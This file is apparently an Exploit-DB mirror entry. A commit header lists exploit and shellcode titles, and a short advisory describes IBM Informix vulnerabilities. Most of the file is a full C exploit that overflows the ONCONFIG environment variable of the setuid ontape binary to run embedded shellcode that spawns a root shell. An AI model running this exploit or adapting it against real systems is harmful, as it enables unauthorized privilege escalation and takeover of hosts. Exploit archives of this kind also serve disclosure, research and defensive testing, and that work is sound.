exploit-db-mirror/exploits/unix/local/23610.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

135 lines
No EOL
4.5 KiB
C

// source: https://www.securityfocus.com/bid/9512/info
IBM Informix Dynamic Server and IBM Informix Extended Parallel Server have been reported prone to multiple vulnerabilities.
The first issue exists in the onedcu binary. Specifically, when the binary is invoked a predictable temporary file is created. A local attacker may exploit this issue to launch symbolic link style attacks ultimately resulting in elevated privileges.
The second issue that has been reported to exist in the ontape binary. The ontape binary has been reported to be prone to a local stack based buffer overflow vulnerability. Ultimately the attacker may exploit this condition to influence execution flow of the vulnerable binary into attacker-controlled memory. This may lead to the execution of arbitrary instructions with elevated privileges.
A third issue has been reported to affect the onshowaudit binary. Specifically, the onshowaudit binary reads data from temporary files contained in the "tmp? directory. These files have predictable filenames; an attacker may exploit this issue to disclose data that may be used in further attacks launched against the vulnerable system.
/* Exploit informix 8or user with DSA privileges -> root in a Informix IDSv9.40. it seems to
exist a correct environment variable size checking for INFORMIXDIR (old security nightmare in
other versions) but forgot to check ONCONFIG env vble size.
We can found similar ONCONFIG overflows, but In other binaries in this installation exists a
setuid32(0x1f7) (the uid for informix user in my installation) before the bof occurs.
Unfortunately not in this binary
Vulnerability researched by Juan Manuel Pascual Escriba
08/08/2003 Barcelona - Spain pask@open3s.com
http://www.open3s.com
*/
#include <stdio.h>
char sc[]=
"\x29\xc0"
"\x29\xdb"
"\x29\xc9"
"\x29\xd2"
"\xb0\xa4"
"\xcd\x80"
"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";
#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 560
#define DFL_ALG 4
#define INFORMIXDIR "/home/informix-9.40/"
#define ONTAPE "/home/informix-9.40/bin/ontape"
int main(int arc, char **arv){
char *argv[2];
char *envp[3];
unsigned long sc_address, ba=0;
unsigned char alg = DFL_ALG;
unsigned long *p;
unsigned char *q;
unsigned int i;
/* calculate where in the stack will be our shellcode */
sc_address = STACK_TOP_X86 - 4 - strlen(ONTAPE) - sizeof(sc) - 1;
printf("shellcode address = 0x%X\n",sc_address);
/* add back pad to align sc if necessary */
if( (sc_address & ALG_MASK) != sc_address ) {
ba = sc_address - (sc_address & ALG_MASK);
printf("adding %d trailing bytes to backward align hellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
sc_address = STACK_TOP_X86 - 4 - strlen(ONTAPE) - sizeof(sc) - ba - 1;
printf("new shellcode address = 0x%X\n",sc_address);
}
/* craft zhellcoded environment */
envp[2] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
q = envp[2];
strcpy(q,"pete=");
q += strlen("pete=");
memcpy(q,sc,sizeof(sc));
q += sizeof(sc)-1;
memset(q,'A',ba);
q += ba;
*q = 0;
/* build overflowing arvg */
alg = DFL_ALG;
printf("using alignment = %d in overflow buffer\n",alg);
if(arv[2]) alg = atoi(arv[2]);
argv[0] = ONTAPE;
argv[1] = 0;
/* finalizamos argv[] aqui el overflow esta en una variable de entorno
llamada ONCONFIG */
envp[0] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1+strlen("ONCONFIG="));
q = envp[0];
strcpy(q,"ONCONFIG=");
q += strlen ("ONCONFIG=");
memset(q,'A',alg);
q += alg -1;
p=(unsigned long*)(envp[0]+alg+strlen("ONCONFIG="));
for(i=0;i<ADDR;i++) {
*p = sc_address;
p++;
};
*p = 0;
envp[1] = "INFORMIXDIR=/home/informix-9.40";
envp[3] = 0;
printf("executing %s ...\n\n",argv[0]);
execve(argv[0],argv,envp);
}